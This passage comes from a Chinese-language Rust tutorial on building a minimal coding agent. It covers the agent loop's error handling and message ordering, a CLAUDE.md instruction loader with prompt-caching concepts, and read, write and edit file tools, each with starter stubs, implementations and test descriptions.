#![allow(unused)] fn main() { let (tx, mut rx) = tokio::sync::mpsc::unbounded_channel(); let agent_handle = tokio::spawn(async move { agent.run_with_events("Fix the bug in main.rs", tx).await }); while let Some(event) = rx.recv().await { match event { AgentEvent::ToolCall { summary, .. } => println!("{summary}"), AgentEvent::Done(text) => { println!("{text}"); break; } AgentEvent::Error(e) => { eprintln!("Error: {e}"); break; } _ => {} } } }
这种双任务模式是 TUI 的构建基础。UI 任务渲染事件;agent 任务运行循环。它们通过 channel 通信。
错误处理哲学
agent 有两种截然不同的错误处理策略,边界是刻意设计的。
工具错误变成结果
工具失败——执行错误、未知工具——错误变成模型看到的字符串结果,就像普通的工具结果一样。循环继续,模型读取错误并做出调整。
工具错误流程:
LLM 请求 bash("some_command")
-> 工具返回 Err(e)
-> unwrap_or_else 转换为 "error: {e}"
-> 作为 Message::ToolResult { id, content: "error: ..." } 推入
-> LLM 看到错误,尝试不同的方法
这对健壮的 agent 至关重要。模型会犯错,工具因合理原因失败,agent 应该恢复而不是崩溃。
provider 错误向上传播
provider 失败——网络超时、认证错误、限流、响应格式错误——错误通过 ?(在 chat() 中)或 AgentEvent::Error(在 chat_with_events() 中)向上传播。循环停止。
provider 错误流程:
agent 调用 provider.chat()
-> provider 返回 Err(网络超时)
-> chat() 返回 Err(网络超时)
-> 调用者处理它(重试、显示错误等)
provider 错误不是 agent 的责任。它们需要人工或系统级干预(检查 API key、等待限流解除、修复网络)。agent 不尝试恢复。
消息历史管理
消息推入历史的顺序至关重要。一次工具使用轮次之后:
#![allow(unused)] fn main() { StopReason::ToolUse => { let results = self.execute_tools(&turn.tool_calls).await; messages.push(Message::Assistant(turn)); // 1. Assistant 消息(含 tool_calls) for (id, content) in results { messages.push(Message::ToolResult { id, content }); // 2. 工具结果 } } }
最终的消息序列如下:
[User] "What files are in src/?"
[Assistant] tool_calls: [bash("ls src/")] <- 包含工具调用
[ToolResult] "main.rs\nlib.rs\n" <- 通过调用 ID 关联
[Assistant] "There are two files: ..." <- 下一次 LLM 响应
为什么是这个顺序?
-
API 要求:Claude API(以及 OpenAI 兼容 API)要求
tool_result消息紧跟在生成对应tool_use的assistant消息之后。违反此要求会导致 400 错误。 -
ID 关联:每个
Message::ToolResult有一个id,与前面 assistant 消息中某个ToolCall.id匹配。当存在多个并行工具调用时,LLM 用它将结果与请求对应起来。 -
为下一轮提供上下文:LLM 需要看到自己的工具调用以理解它请求了什么,也需要看到结果以了解发生了什么。两者都必须在历史中出现,供下一次
provider.chat()调用使用。
整合起来:完整追踪
追踪一个真实场景。用户问:"What is 2 + 3?"
agent 注册了一个 AddTool。mock provider 被配置为先返回一次工具调用,再返回最终答案。
第 0 轮:
messages: [User("What is 2 + 3?")]
-> provider.chat() 返回:ToolUse, tool_calls: [add(a=2, b=3)]
-> execute_tools: AddTool.call({a:2, b:3}) -> Ok("5")
-> 推入:Assistant(tool_calls: [add(a=2, b=3)])
-> 推入:ToolResult { id: "call_1", content: "5" }
第 1 轮:
messages: [User, Assistant, ToolResult]
-> provider.chat() 返回:Stop, text: "The sum is 5"
-> 推入:Assistant(text: "The sum is 5")
-> 返回 Ok("The sum is 5")
两次 provider 调用,一次工具执行,干净退出。最终消息历史有 4 条:User、Assistant(含工具调用)、ToolResult、Assistant(含文本)。
与 Claude Code 的对比
我们的 SimpleAgent 是教学实现。Claude Code 的真实 agent 复杂得多:
| 功能 | 我们的 agent | Claude Code |
|---|---|---|
| 核心循环 | loop { match stop_reason } | 相同模式,但在每个阶段都有 async 钩子 |
| 流式 | 独立的 run_with_events | 集成的 SSE 流式与 StreamProvider |
| 权限 | 无 | 每次工具调用前都检查完整的权限流水线 |
| 最大轮次 | 无 | 可配置的循环迭代上限 |
| 截断 | 无 | 工具结果大小限制 |
| 压缩 | 无 | 接近 token 限制时自动压缩 |
| 钩子 | 无 | 工具执行前后的钩子,支持 shell 命令执行 |
| 并发 | 顺序执行工具 | 对安全工具并行执行 |
| 错误恢复 | 工具错误作为结果 | 相同,加上对短暂 provider 错误的重试逻辑 |
好消息是:架构是相同的。右列的每个功能都插入同一个循环结构。权限在 execute_tools 中调用 t.call() 之前检查。压缩在 token 数量较高时在循环顶部运行。钩子在工具执行前后触发。
测试
运行测试以验证实现:
cargo test -p mini-claw-code-starter test_single_turn_ # single_turn 测试
cargo test -p mini-claw-code-starter test_simple_agent_ # SimpleAgent 测试
测试验证内容
单轮测试(test_single_turn_):
test_single_turn_direct_response—— provider 以StopReason::Stop返回文本;验证 agent 直接返回该文本test_single_turn_one_tool_call—— provider 先返回工具调用再返回最终答案;验证 agent 执行工具并返回最终文本test_single_turn_unknown_tool—— provider 请求一个未注册的工具;验证 agent 返回错误字符串(而非 panic),循环继续
SimpleAgent 测试(test_simple_agent_):
test_simple_agent_text_response—— 带一个返回文本的 provider 调用run();验证响应字符串test_simple_agent_single_tool_call—— provider 编排一次工具调用后跟最终答案;验证 agent 正确循环并返回最终文本test_simple_agent_unknown_tool—— provider 请求一个未注册的工具;验证 agent 返回错误字符串(而非 panic),循环继续test_simple_agent_multi_step_loop—— provider 编排两次工具调用后跟最终答案;验证 agent 正确循环经过多轮工具轮次
实现清单
打开 starter 的 src/agent.rs。每个方法都有带文档注释的 unimplemented!() 桩。需要填写以下内容:
-
SimpleAgent::new—— 用 provider 和空的ToolSet初始化。 -
SimpleAgent::tool—— 将工具推入self.tools,返回self。 -
execute_tools—— 查找每个工具,执行,捕获错误。返回Vec<(String, String)>。 -
chat—— 核心循环。调用 provider,匹配停止原因,调度工具,推入消息,循环。 -
run—— 用Message::User(prompt)创建消息,委托给chat。 -
run_with_history—— 与chat相同的循环,但通过 channel 发出AgentEvent。将错误处理为事件而非?。 -
run_with_events—— 创建消息,委托给run_with_history。
从 new 和 tool 开始。然后实现 execute_tools——可以通过 run 隐式测试它。接着是 chat,然后 run。把事件相关方法留到最后。
核心要点
Agentic 循环出奇地小——一个 loop,一个对 StopReason 的 match,以及一个调度工具调用的辅助函数。生产 agent 添加的每个功能(权限、流式、压缩、钩子)都插入这同一个骨架。理解了 chat(),你就理解了每一个编码 agent 的架构。
你现在拥有了什么
完成本章后,你有了可运行的编码 agent。不是完整的——还没有真实的工具(那些在后续章节中出现)——但核心循环已经完成。可以注册任何实现了 Tool trait 的工具,指向任何实现了 Provider 的 provider,agent 将自主循环直到得出答案。
这是后续一切所依赖的骨架。之后添加的每个功能——真实工具如 Bash 和 Read、权限、流式——都插入你刚刚构建的循环中。
自测
← 第 6 章:工具接口 · 目录 · 第 8 章:系统提示 →
第 8 章:系统提示词
需要编辑的文件:
src/instructions.rs运行测试:cargo test -p mini-claw-code-starter instructions(InstructionLoader) 预计用时: 25 分钟
每个基于 LLM 的 agent 都以系统提示词开头——一段不可见的前言,塑造模型产生的每一个回复。粗糙的提示词只能给你一个聊天机器人。精心设计的提示词则能给你一个遵守安全规则、正确使用工具、并能适应当前项目的编程 agent。
Claude Code 的系统提示词超过 900 行组装文本。它不是单一字符串,而是由模块化片段构建而成——身份标识、安全规则、工具 schema、环境信息、项目说明——启动时由构建器拼接在一起。某些片段在不同会话间永不改变(工具 schema、核心说明);另一些则每次都不同(工作目录、git 状态、CLAUDE.md 内容)。这种区分不是表面文章——它是prompt 缓存的基础,这项优化可以显著降低成本和延迟。
本章构建 InstructionLoader——通过向上遍历文件系统来发现项目特定 CLAUDE.md 文件的组件。我们还会讨论系统提示词架构的概念(片段、静态/动态拆分、prompt 缓存),这些是 Claude Code 等生产级 agent 所采用的方案。starter 聚焦于指令加载部分,这是最具实用价值、值得从头实现的组件。
目标
在 src/instructions.rs 中实现 InstructionLoader,使其满足:
InstructionLoader向上遍历文件系统,发现并加载 CLAUDE.md 文件。load()将发现的文件连接成带有标题的单一字符串。system_prompt_section()将加载的指令包装成可插入系统提示词的形式。
指令加载的工作原理
flowchart TD
A[InstructionLoader::discover] -->|walks upward| B["/home/user/CLAUDE.md"]
A -->|walks upward| C["/home/user/project/CLAUDE.md"]
A -->|starts here| D["/home/user/project/backend/CLAUDE.md"]
B --> E[Reverse to root-first order]
C --> E
D --> E
E --> F[InstructionLoader::load]
F -->|concatenates with headers| G[Combined instructions string]
G --> H[system_prompt_section]
H --> I[Ready for system prompt]
为什么系统提示词对 agent 至关重要
原始的 LLM 只是文本补全器。它根本不知道自己能运行 bash 命令、读取文件或编辑代码——除非你告诉它。系统提示词就是告诉它这些的地方。
对于编程 agent,系统提示词必须做好以下几件事:
- 身份标识:"你是一个可以使用工具的编程 agent。"没有这条,模型可能拒绝工具调用,或表现得像通用助手。
- 安全规则:"不要删除工作目录之外的文件。不要引入安全漏洞。"安全规则约束了模型会尝试做什么。
- 工具 schema:所有可用工具的 JSON schema 定义。模型需要这些信息才知道如何调用工具——接受哪些参数、哪些是必填的、期望什么类型。
- 环境信息:工作目录、操作系统、shell、git 状态。这些上下文能防止模型对环境进行猜测。
- 项目说明:CLAUDE.md 文件的内容,告诉模型项目约定、推荐的模式以及需要避免的事项。
Claude Code 在每次对话前将所有这些内容组装成一个系统提示词。各片段按特定顺序排列,缓存边界将会变化的部分与不会变化的部分分隔开来。
概念:片段与缓存边界
先了解 Claude Code 等生产级 agent 如何组织系统提示词,再深入代码。这些概念指导设计,尽管我们的 starter 采用了更简单的方式。
Prompt 片段
生产级系统提示词由模块化片段构建——身份标识、安全规则、工具 schema、环境信息、项目说明。每个片段是命名的文本块,渲染为:
# identity
You are a coding agent. You help users with software engineering tasks
using the tools available to you.
标题帮助 LLM 解析 prompt 结构,检查组装后的 prompt 时也便于调试。
静态 vs. 动态:缓存边界
LLM API 调用代价不菲。系统提示词中的每个 token 在每次请求时都会被处理。Claude 的 prompt 缓存功能允许将 prompt 的一个前缀标记为可缓存——API 处理一次后缓存内部状态,并在后续请求中复用。对于长 prompt,这最多可将延迟降低 85%,成本降低 90%。
但缓存只对前缀有效。被缓存的前缀中有任何字节发生变化,缓存就会失效。所以需要把稳定的部分放在前面,变化的部分放在后面:
+---------------------------------------+
| Static sections (cacheable) |
| - Identity |
| - Safety instructions |
| - Tool schemas |
| |
| [these rarely change] |
+-------- CACHE BOUNDARY ---------------+
| Dynamic sections (per-session) |
| - Working directory |
| - Git status |
| - CLAUDE.md instructions |
| - Custom user instructions |
| |
| [these change every session] |
+---------------------------------------+
Claude Code 将这个边界称为 SYSTEM_PROMPT_DYNAMIC_BOUNDARY。边界以上的内容附带缓存控制头发送,边界以下的内容在每次请求时都是新鲜的。
生产级 agent 会实现一个 SystemPromptBuilder,维护静态和动态片段的独立列表,分别渲染两部分,并支持感知缓存的 provider。这些类型(SystemPromptBuilder、PromptSection)在本章中只是概念——starter 不包含它们。starter 实现的是 src/instructions.rs 中的 InstructionLoader,这是最具实用价值、值得从头构建的组件。
InstructionLoader:发现 CLAUDE.md
Claude Code 从 CLAUDE.md 文件中加载项目特定的指令。这些文件让用户按项目自定义 agent 的行为——偏好的编码风格、测试命令、需要避免的事项。agent 从当前工作目录向上遍历文件系统来发现这些文件。
打开 src/instructions.rs,以下是 starter 的桩代码:
#![allow(unused)] fn main() { pub struct InstructionLoader { file_names: Vec<String>, } impl InstructionLoader { pub fn new(file_names: &[&str]) -> Self { unimplemented!("Convert file_names to Vec<String>") } pub fn default_files() -> Self { Self::new(&["CLAUDE.md", ".mini-claw/instructions.md"]) } pub fn discover(&self, start_dir: &Path) -> Vec<PathBuf> { unimplemented!( "Walk up from start_dir, collect matching files, reverse for root-first order" ) } pub fn load(&self, start_dir: &Path) -> Option<String> { unimplemented!("Discover files, read each, join with headers showing source path") } pub fn system_prompt_section(&self, start_dir: &Path) -> Option<String> { unimplemented!("Call load(), wrap with instruction preamble") } } }
加载器通过文件名参数化来确定搜索目标。默认配置查找 CLAUDE.md 和 .mini-claw/instructions.md。
Rust 概念:从借用切片到所有权集合
构造函数接受 &[&str]——借用的字符串切片的借用切片——并将其转换为 Vec<String>。这是 Rust 在 API 边界处的常见模式:接受借用数据以保持灵活性(调用方可以传入字符串字面量、&String 或任何解引用为 &str 的类型),但内部存储所有权数据,使结构体没有生命周期参数,可以独立于创建者存活。
实现 new()
构造函数将 &[&str] 切片转换为所有权的 String 值:
#![allow(unused)] fn main() { pub fn new(file_names: &[&str]) -> Self { Self { file_names: file_names.iter().map(|s| s.to_string()).collect(), } } }
discover()——向上遍历
discover() 方法从给定目录开始,向文件系统根部方向遍历,检查每个目录中是否存在目标文件:
#![allow(unused)] fn main() { pub fn discover(&self, start_dir: &Path) -> Vec<PathBuf> { let mut found = Vec::new(); let mut dir = Some(start_dir.to_path_buf()); while let Some(current) = dir { for name in &self.file_names { let candidate = current.join(name); if candidate.is_file() { found.push(candidate); } } dir = current.parent().map(|p| p.to_path_buf()); } found.reverse(); // Root-first order found } }
遍历从起始目录收集文件直到根目录,然后反转列表,使根级别的文件排在前面。这个顺序很重要:全局指令出现在项目特定指令之前,LLM 最后看到的是最具体的指令(最接近用户 prompt 的位置)。
以位于 /home/user/project/backend 的项目为例:
/home/user/CLAUDE.md <-- 全局偏好
/home/user/project/CLAUDE.md <-- 项目约定
/home/user/project/backend/CLAUDE.md <-- 后端特定规则
discover() 之后,向量按该顺序包含这些文件:全局的在前,最具体的在后。
load()——读取与连接
load() 方法调用 discover(),读取每个文件,并将它们连接成单一字符串。每个文件的内容前加上 # Instructions from <path> 标题,让 LLM 知道每个块来自何处。文件之间用 --- 分隔符隔开。空文件或不可读的文件会被静默跳过。如果根本不存在任何指令文件,load() 返回 None。
两个文件的输出如下所示:
# Instructions from /home/user/CLAUDE.md
Use American English. Prefer explicit error handling.
---
# Instructions from /home/user/project/CLAUDE.md
Run tests with `cargo test`. Never modify generated files.
system_prompt_section()——为 prompt 包装
system_prompt_section() 方法调用 load() 并用指令前言包装结果。这会产生一个可插入系统提示词的字符串。如果找不到指令文件,则返回 None。
确切的前言应为:
#![allow(unused)] fn main() { format!( "The following project instructions were loaded automatically. \ Follow them carefully:\n\n{content}" ) }
测试检查输出中是否包含子字符串 "project instructions",因此前言文本必须包含这些词。
在系统提示词中使用 InstructionLoader
在生产级 agent 中,指令加载器接入 prompt 组装流水线。加载的指令始终是动态的——取决于 agent 从哪个目录启动。
用 InstructionLoader 构建简单系统提示词的方式:
#![allow(unused)] fn main() { let mut prompt = String::from("You are a coding agent.\n\n"); let loader = InstructionLoader::default_files(); if let Some(section) = loader.system_prompt_section(Path::new(cwd)) { prompt.push_str(§ion); } }
更复杂的 agent 会将静态和动态片段分离以实现 prompt 缓存(参见上面的概念讨论),但这种简单方法足以让你起步。
Claude Code 的实现方式
Claude Code 的 prompt 组装遵循相同的原则,只是规模更大。它的系统提示词包括身份标识、安全规则、工具 schema、行为准则、环境详情、多层级的 CLAUDE.md 指令以及会话元数据——通常超过 900 行。
没有 prompt 缓存,每次 API 调用都要重新处理所有这些内容。Claude Code 用 SYSTEM_PROMPT_DYNAMIC_BOUNDARY 标记来标识缓存边界。provider 在此边界处拆分系统消息,将前缀附带 cache_control: { type: "ephemeral" } 发送。API 缓存前缀的内部表示,并在后续请求中复用,通常覆盖 80% 以上的 prompt。
作为扩展,你可以构建一个 SystemPromptBuilder,维护静态和动态片段的独立列表,分别渲染两部分,并让感知缓存的 provider 在边界处拆分 prompt。starter 聚焦于指令加载部分,这是最具实用价值的组件。
运行测试
运行 InstructionLoader 测试:
cargo test -p mini-claw-code-starter instructions
测试验证的内容
test_instructions_instruction_loader_discover:创建包含 CLAUDE.md 文件的临时目录,验证discover()能找到它。test_instructions_instruction_loader_load:相同的设置,验证load()返回文件内容。test_instructions_instruction_loader_no_files:不存在任何指令文件时,load()返回None。
小结
你构建了指令加载基础设施:
InstructionLoader通过向上遍历文件系统发现 CLAUDE.md 文件,以根优先的顺序连接它们,全局指令出现在项目特定指令之前。system_prompt_section()将发现的指令包装成可插入系统提示词的形式。
你还学习了生产级系统提示词架构的核心概念:
- Prompt 片段将系统提示词分解为命名的模块化块。
- 缓存边界将会变化的内容与不会变化的内容分隔开,从而实现 prompt 缓存——这项单一优化对于长 prompt 可以将成本和延迟降低一个数量级。每个生产级 agent 都会这样做。
作为扩展,你可以实现 PromptSection 和 SystemPromptBuilder 类型来从结构上管理静态/动态拆分。参考实现(mini-claw-code)展示了一种方法。
核心要点
系统提示词不是单一字符串——它是模块化片段的组合,排列方式使稳定内容在前(从而启用 prompt 缓存),会话特定内容在后。InstructionLoader 是这个组合中最简单却最面向用户的部分:让每个项目都能通过普通 Markdown 文件来自定义 agent 的行为。
下一步
在第 9 章:文件工具中,实现让 agent 与文件系统交互的工具——读取、写入和编辑文件。这些工具的 schema 最终将出现在系统提示词的静态部分中。
自测
← 第 7 章:agent 循环(深度解析) · 目录 · 第 9 章:文件工具 →
第 9 章:文件工具
需要编辑的文件:
src/tools/write.rs、src/tools/edit.rs(TODO ch9:桩代码)。src/tools/read.rs早在第 2 章已完成——本章把它作为基准,对比写入和编辑两个工具的设计取舍。 运行测试:cargo test -p mini-claw-code-starter test_read_(ReadTool)、cargo test -p mini-claw-code-starter test_write_(WriteTool)、cargo test -p mini-claw-code-starter test_edit_(EditTool) 预计用时: 50 分钟
目标
- 重新审视
ReadTool(第 2 章已构建),理解其极简设计与生产工具中行号、offset/limit 之间的权衡。 - 实现
WriteTool,自动创建父目录,省去 agent 额外调用mkdir的步骤。 - 实现带唯一性检查的
EditTool,让 agent 能对现有文件做精确的字符串替换。 - 理解为什么 starter 中工具错误以
Err(...)形式返回(agent 循环将其转为 LLM 可读、可恢复的消息——详细原理见第 6 章 §"为什么工具错误绝不终止 agent")。
无法触及文件系统的编程 agent,不过是个自命不凡的聊天机器人。描述代码改动、建议修复、解释算法,它都能做——但真正动手,什么都干不了。第 6 章的工具给了 agent 一双手;本章给这双手握上点东西:文件。
文件操作是任何编程 agent 工具集的根基。Claude Code 内置了读取、写入、编辑工具(以及更多),Cursor、Aider、OpenCode 各有各的版本。操作本身很简单(读字节、写字节、查找替换),但设计选择决定了 agent 能否可靠地修改代码库,还是会在自己的编辑上绊跟头。本章实现全部三个工具:ReadTool、WriteTool、EditTool。
文件工具如何协同工作
flowchart LR
W[WriteTool] -->|creates file| FS[(Filesystem)]
E[EditTool] -->|search & replace| FS
R[ReadTool] -->|reads content| FS
W -.->|"auto-creates parent dirs"| FS
E -.->|"checks uniqueness first"| FS
sequenceDiagram
participant LLM
participant Agent
participant FS as Filesystem
LLM->>Agent: write(path, content)
Agent->>FS: create dirs + write file
FS-->>Agent: ok
Agent-->>LLM: "wrote /path/to/file"
LLM->>Agent: edit(path, old, new)
Agent->>FS: read, check uniqueness, replace, write
FS-->>Agent: ok
Agent-->>LLM: "edited /path/to/file"
LLM->>Agent: read(path)
Agent->>FS: read file
FS-->>Agent: file contents
Agent-->>LLM: file contents
6.1 ReadTool
ReadTool 是最简单的文件工具:接收路径,用 tokio::fs::read_to_string 读文件,以字符串返回原始内容。没有行号,没有 offset/limit,没有任何转换。starter 和参考实现(mini-claw-code/src/tools/read.rs)都如此——刻意保持极简,给本章剩余部分(写入、编辑)留出空间。
设计讨论:生产 agent 为何要做得更多
Claude Code 这类生产 agent 走得更远。它们的读取工具通常给每行加行号(cat -n 风格),并通过 offset 和 limit 参数支持部分读取。原因有两点:
- 行号给 LLM 一套坐标系。 "替换第 42 行的字符串"是精确的,"替换函数中间某处的字符串"不是。这对编辑工具尤为重要——模型必须给出精确的匹配字符串,行号帮它找准位置、复制正确片段。
- offset/limit 保护上下文窗口。 一个 5 万行的生成文件可能耗尽模型的上下文配额。分页读取让 LLM 按需取用,不必把整个预算花在一个文件上。
本书的 starter 和参考实现都没有这两项特性——刻意留白,以保持核心 Tool 实现在十余行以内。想添加的话,这是本章末尾列出的扩展练习之一。
starter 桩代码
打开 src/tools/read.rs:
#![allow(unused)] fn main() { use anyhow::Context; use serde_json::Value; use crate::types::*; pub struct ReadTool { definition: ToolDefinition, } impl Default for ReadTool { fn default() -> Self { Self::new() } } impl ReadTool { /// Create a new ReadTool with its JSON schema definition. /// /// The schema should declare one required parameter: "path" (string). pub fn new() -> Self { unimplemented!( "Create a ToolDefinition with name \"read\" and a required \"path\" parameter" ) } } #[async_trait::async_trait] impl Tool for ReadTool { fn definition(&self) -> &ToolDefinition { &self.definition } async fn call(&self, _args: Value) -> anyhow::Result<String> { unimplemented!( "Extract \"path\" from args, read file with tokio::fs::read_to_string, return contents" ) } } }
需要填写两个方法:
new():构建名为"read"、带必填"path"参数的ToolDefinition。call():提取路径,读取文件,返回内容。
实现 ReadTool
定义。 一个必填参数:path。LLM 将其视为 JSON Schema,知道必须提供 path。
#![allow(unused)] fn main() { pub fn new() -> Self { Self { definition: ToolDefinition::new("read", "Read the contents of a file.") .param("path", "string", "Absolute path to the file", true), } } }
call() 方法。 读取文件,以 String 返回内容:
#![allow(unused)] fn main() { async fn call(&self, args: Value) -> anyhow::Result<String> { let path = args["path"] .as_str() .context("missing 'path' argument")?; let content = tokio::fs::read_to_string(path) .await .with_context(|| format!("failed to read '{path}'"))?; Ok(content) } }
Rust 概念:用 anyhow::Context 丰富错误信息
.context("missing 'path' argument")? 和 .with_context(|| format!("failed to read '{path}'")) 用人类可读的消息包装底层错误。context() 接受静态字符串;with_context() 接受闭包处理动态消息(? 路径未触发时不产生分配)。两者都返回 anyhow::Error,并将原始错误链接在下方——完整的错误消息读起来像 "failed to read 'foo.rs': No such file or directory"。这种链式错误让 anyhow 的信息足够丰富,无需自定义错误类型。
注意 call() 返回 anyhow::Result<String>,而非 ToolResult。starter 的 Tool trait 经过简化——工具成功时返回普通字符串,遇到错误(参数缺失、I/O 故障)则返回 Err(...)。agent 循环负责把错误转换为 LLM 可见的消息。
可能的扩展。 生产级 ReadTool 会添加 offset 和 limit 参数支持部分读取,并以制表符分隔的行号格式化输出(类似 cat -n)。本书参考实现均未包含,两者都是范围清晰的好练习。
输出示例
给定一个包含三行的文件:
alpha
beta
gamma
工具返回原始文件内容:
alpha
beta
gamma
这是最简单的方式。生产工具在此基础上扩展行号和部分读取,对大文件和给 LLM 精确行引用都很有价值——详见上方的设计讨论。
6.2 WriteTool
写文件概念上很简单:接受路径和内容,把内容写进去。但有个实际细节影响很大:自动创建父目录。
LLM 写入 src/handlers/auth/middleware.rs 时,src/handlers/auth/ 可能还不存在。朴素的实现会报"没有这样的文件或目录"。agent 随后得调用 bash("mkdir -p ...") 再重试,浪费一次工具调用,还会让模型困惑。不如直接静默处理掉。
starter 桩代码
打开 src/tools/write.rs:
#![allow(unused)] fn main() { use anyhow::Context; use serde_json::Value; use crate::types::*; pub struct WriteTool { definition: ToolDefinition, } impl Default for WriteTool { fn default() -> Self { Self::new() } } impl WriteTool { /// Schema: required "path" and "content" parameters. pub fn new() -> Self { unimplemented!( "Use ToolDefinition::new(name, description).param(...).param(...)" ) } } #[async_trait::async_trait] impl Tool for WriteTool { fn definition(&self) -> &ToolDefinition { &self.definition } async fn call(&self, _args: Value) -> anyhow::Result<String> { unimplemented!( "Extract path and content, create parent dirs, write file, return format!(\"wrote {path}\")" ) } } }
实现 WriteTool
定义。 两个必填参数:path 和 content。
#![allow(unused)] fn main() { pub fn new() -> Self { Self { definition: ToolDefinition::new("write", "Write content to a file, creating directories as needed") .param("path", "string", "Absolute path to write to", true) .param("content", "string", "Content to write", true), } } }
call() 方法。 提取参数、创建父目录、写文件,返回确认字符串:
#![allow(unused)] fn main() { async fn call(&self, args: Value) -> anyhow::Result<String> { let path = args["path"] .as_str() .context("missing 'path' argument")?; let content = args["content"] .as_str() .context("missing 'content' argument")?; // Create parent directories if let Some(parent) = std::path::Path::new(path).parent() { if !parent.as_os_str().is_empty() { tokio::fs::create_dir_all(parent).await?; } } tokio::fs::write(path, content).await?; Ok(format!("wrote {path}")) } }
返回值是 format!("wrote {path}"),一个简单的确认字符串。agent 看到它就知道写入成功了。
代码详解
两个必填参数。 path 和 content 都是必填的,没有可选行为,两者缺一不可。
自动创建目录。 create_dir_all 是关键设计。等价于 mkdir -p——目录已存在则无操作,中间目录缺失则全部创建。守卫条件 !parent.as_os_str().is_empty() 处理路径没有父组件的边缘情况(如裸文件名 "file.txt"),否则 create_dir_all("") 会报错。
覆写语义。 tokio::fs::write 文件已存在时覆写,不存在时创建,没有追加模式,没有冲突检测。这是有意为之——该工具是全量写入,不是合并。要修改现有文件,用 EditTool。
确认字符串。 返回 "wrote /path/to/file",让模型知道写入成功。
6.3 EditTool
EditTool 是三者中最有意思的,也传授了本书最重要的设计理念:错误是值,不是异常。
它对文件做查找替换:接受路径、要查找的 old_string、要替换成的 new_string。关键约束:old_string 在文件中必须恰好出现一次。零次匹配意味着模型的字符串有误;多于一次意味着替换有歧义,不知道该改哪个。
这两种情况都是预期的失败模式,不是 bug。模型经常稍微搞错字符串(缺少空格、缩进不对、上次编辑后内容已过时)。工具必须清晰地报告这些失败,让模型自我纠正。
starter 桩代码
打开 src/tools/edit.rs:
#![allow(unused)] fn main() { use anyhow::{Context, bail}; use serde_json::Value; use crate::types::*; pub struct EditTool { definition: ToolDefinition, } impl Default for EditTool { fn default() -> Self { Self::new() } } impl EditTool { /// Schema: required "path", "old_string", "new_string" parameters. pub fn new() -> Self { unimplemented!( "Use ToolDefinition::new(name, description).param(...).param(...).param(...)" ) } } #[async_trait::async_trait] impl Tool for EditTool { fn definition(&self) -> &ToolDefinition { &self.definition } async fn call(&self, _args: Value) -> anyhow::Result<String> { unimplemented!( "Extract args, read file, verify old_string appears exactly once, replace, write back" ) } } }
实现 EditTool
定义。 三个必填参数:path、old_string、new_string。
#![allow(unused)] fn main() { pub fn new() -> Self { Self { definition: ToolDefinition::new( "edit", "Replace an exact string in a file. The old_string must appear exactly once.", ) .param("path", "string", "Absolute path to the file to edit", true) .param("old_string", "string", "The exact string to find", true) .param("new_string", "string", "The replacement string", true), } } }
call() 方法。 读文件、检查唯一性、替换、写回:
#![allow(unused)] fn main() { async fn call(&self, args: Value) -> anyhow::Result<String> { let path = args["path"] .as_str() .context("missing 'path' argument")?; let old = args["old_string"] .as_str() .context("missing 'old_string' argument")?; let new = args["new_string"] .as_str() .context("missing 'new_string' argument")?; let content = tokio::fs::read_to_string(path) .await .with_context(|| format!("failed to read '{path}'"))?; let count = content.matches(old).count(); if count == 0 { bail!("old_string not found in '{path}'"); } if count > 1 { bail!("old_string appears {count} times in '{path}', must be unique"); } let updated = content.replacen(old, new, 1); tokio::fs::write(path, &updated).await?; Ok(format!("edited {path}")) } }
成功时返回 format!("edited {path}")。
代码详解
三个必填参数。 path、old_string、new_string 都是必填的。模型必须明确指定查找什么、替换成什么。没有正则,没有基于行号的编辑,没有 diff 格式,就是纯字符串替换。简单是优点——明确,模型容易用对。
唯一性检查。 这是工具的核心:
#![allow(unused)] fn main() { let count = content.matches(old).count(); if count == 0 { bail!("old_string not found in '{path}'"); } if count > 1 { bail!("old_string appears {count} times in '{path}', must be unique"); } }
Rust 概念:bail! 宏
bail!("old_string not found in '{path}'") 是 return Err(anyhow::anyhow!("...")) 的简写,立即从函数返回带指定消息的错误。它是 anyhow crate 的一部分,在任何返回 anyhow::Result 的函数中都可以用。与 ?(传播已有错误)不同,bail! 在原地创建新错误。
两个分支都通过 bail! 返回错误。在 starter 简化的 Tool trait 中,工具从 call() 返回 anyhow::Result<String>。工具返回 Err 时,agent 循环将其转为 LLM 可见的错误消息,模型随后用正确的字符串重试。
简化 trait 中的错误处理
starter 的 Tool trait 从 call() 返回 anyhow::Result<String>,错误处理很直接——任何失败都用 bail!() 或 ?,agent 循环负责把错误转为 LLM 可读的消息。
在 agent 的 execute_tools 方法中,工具调用这样处理:
#![allow(unused)] fn main() { match tool.call(call.arguments.clone()).await { Ok(result) => result, Err(e) => format!("error: {e}"), } }
call() 返回的 Err 变成类似 "error: old_string not found in 'foo.rs'" 的字符串。模型看到后知道换个字符串重试。
更复杂的设计(Claude Code 所采用的)区分了可恢复的工具级错误(作为成功值返回)和真正的 I/O 故障(作为 Err 返回)。starter 对两者统一使用 Err,agent 循环以相同方式处理。
6.4 集成:写入、编辑、读取
这些工具的真正威力来自组合使用。典型的 agent 工作流:
- 写入新文件
- 编辑修复 bug 或精化代码
- 读取验证结果
以工具调用的形式呈现:
Agent: I'll create the handler file.
-> write(path: "/tmp/project/handler.rs", content: "fn main() { println!(\"hello\"); }")
<- "wrote /tmp/project/handler.rs"
Agent: Let me update the greeting.
-> edit(path: "/tmp/project/handler.rs", old_string: "hello", new_string: "goodbye")
<- "edited /tmp/project/handler.rs"
Agent: Let me verify the change.
-> read(path: "/tmp/project/handler.rs")
<- "fn main() { println!(\"goodbye\"); }"
每个工具做一件事,清晰地传达结果。agent 看到每步输出,决定下一步。编辑失败(字符串错误)时,agent 看到错误,用正确的字符串重试。
写入-编辑-读取正是 Claude Code 在实践中修改文件的方式。不生成完整文件再覆写——那会丢失被修改部分以外的内容。而是对需要更改的具体行做精确编辑,再读取结果确认。这样更可靠,diff 也更小。
6.5 Claude Code 的实现方式
Claude Code 的文件工具遵循相同协议,但更为精细:
读取支持图片和 PDF。检测二进制文件并适当渲染(base64 编码的图片作为多模态内容块发送)。截断策略基于 token 计数而非字符计数,文件为空时会发出警告。
写入检查受保护的文件。Claude Code 维护一份永不覆写的文件列表(.env、credentials.json 等)并阻止写入。还与权限系统集成,在特定模式下覆写现有文件前需要用户批准。
编辑功能更强大。支持单次调用中进行多处编辑,有 diff 预览模式,处理编码检测,并验证编辑结果在语法上有效(对支持的语言)。唯一性检查也更细致,会考虑匹配项周围的上下文行以消除歧义。
但核心协议与你刚构建的完全相同:结构体持有定义,Tool trait 提供接口,call 方法做实际工作,agent 循环调度并收集结果。理解这三个简单工具,就有了理解 Claude Code 完整工具集的基础。
6.6 工具文件组织
